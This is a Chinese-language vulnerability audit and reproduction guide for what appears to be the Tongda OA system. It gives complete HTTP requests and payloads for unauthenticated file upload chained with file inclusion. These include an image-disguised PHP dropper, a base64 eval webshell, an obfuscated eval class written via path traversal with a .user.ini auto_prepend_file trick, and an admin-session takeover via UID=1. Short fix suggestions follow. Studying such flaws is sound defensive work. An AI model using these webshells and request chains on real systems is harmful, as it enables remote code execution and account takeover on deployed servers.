一、文件操作
1、文件上传配合文件包含审计
文件上传首先确定存在漏洞的文件。和文件上传相关的函数比如upload。在从上到下分析构造的条件
1. 从 POST 请求中提取变量 P 的值。
2. 检查 P 是否已设置且不为空字符串。
3. 如果 P 已设置且非空,进入包含 "inc/session.php" 文件,然后设置会话 ID 为 P,启动一个会话
4. 如果 P 未设置或为空,则包含 "auth.php" 文件。
post提交获取TYPE、DEST_UID值DEST_UID=0就报错结束,不满足0就可以
有文件上传值大于等于1就会进入文件上传代码
upload不在第一个if,所以满不满足1都可以,都会执行。
如果没有检测到文件上传就提示,检测到就进if判断
判断文件大小可以控制
选择输出内容的模式
过滤是在upload里,过滤了后缀、文件名、大小等还有类名单验证
构造请求条件,要构造上传文件的表单
构造条件:
P=1 未授权
DEST_UID=1 进入逻辑
UOLOAD_MODE=1,2,3选择输出内容的模式
ATTACHMENT 就收文件上传的参数名
构造表单去触发upload文件比较快捷。
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
上传后输出上传的文件名但是路径不清楚,可以使用脚本监控
搜索文件包含函数
url不为空,值带/,判断general/不等于false为真并且ispirit/不等于false,条件为真才会包含
首要条件满足if($json)
ispirit/interface/gateway.php?jaso{}$url=/general/../../attach/im/2401/1798777521.1.txt
包含文件不回显,可以上传一个图片马>内容是创建一个php文件
<?php$fn = fopen("2.php","w+");$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");$result = fwrite($fn,$st);fclose($fn);
?>
POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2760
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD9mijgm62VfQk6ny
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="P"1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="UPLOAD_MODE"2
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="DEST_UID"1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="ATTACHMENT"; filename="m.jpg"
Content-Type: image/jpegÿØÿà
上传图片马后访问
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Cookie: PHPSESSID=1json={"url":"/general/../../attach/im/2401/999371338.m.jpg"}
POST /ispirit/interface/2.php HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
内容回显出来说明成功了,可以写个webshell的代码,用工具连接
2、文件上传配合文件包含webshell
漏洞条件
● 漏洞url: http://192.168.x.x/general/hr/manage/staff_info/update.php
● 漏洞参数:filename
● 是否存在限制:
● 是否还有其他条件:USER_ID; name="ATTACHMENT"; filename="tongda.log"
复现
第一步上传恶意日志内容
POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 644
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"../../general/reportshop/workshop/report/attachment-remark/tongda
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="tongda.log"
Content-Type: application/octet-stream<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['a']);?>
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"
第二步包含文件
POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 537
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.45
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"../../general/reportshop/workshop/report/attachment-remark/.user
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="config.ini"
Content-Type: application/octet-streamauto_prepend_file=tongda.log
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"
直接用工具链接
代码
获取用户上传的文件信息和临时文件名
如果不为空就代表用户已经上传了文件,设置为这个路径
检查文件或目录是否存在,如果路径上的目录不存在就创建一个新的目录
如果文件不存在会报错,存在则进如upload函数,进行验证上传的文件
td_copy-->is_uploadable对后缀做了限制
提取文件的名字、大小、错误码以及临时文件名。之后根据错误码进行不同的处理。检查文件后缀、文件名字符编码、非法字符等信息。没有检查文件内容
修复建议
1. 限制可上传文件类型,避免执行文件的上传。
2. 对上传文件内容进行监测以防夹带恶意代码。
3. 设置权限,上传文件目录不应执行脚本。
4. 使用文件包含机制时,避免直接包含用户输入的文件。可能的话,使用白名单机制限制可包含文件
二、任意用户登录
漏洞条件
● 漏洞url: http://192.168.x.x/logincheck_code.php
● 漏洞参数:cookie
● 是否存在限制:
● 是否还有其他条件:需要先请求UID=1获取cookie
复现
使用脚本获取cookie
访问登录后的页面修改PHPSESSID=qg8g33n7fscd71hildomnh4m15;
代码
这里直接通过POST传入UID:
通过UID进行数据库的查询,并加以参数的赋值:
mysql> select * from USER where UID=1 \G;
因为UID=1是admin用户,所以这儿直接就是把admin的session给调了出来:
用burp测试,带入UID=1.就得到PHPSESSID,替换PHPSESSID即可。
修复建议
加强身份验证机制,如强化密码加密存储,加强参数验证,修复认证逻辑漏洞和使用安全的会话管理方式。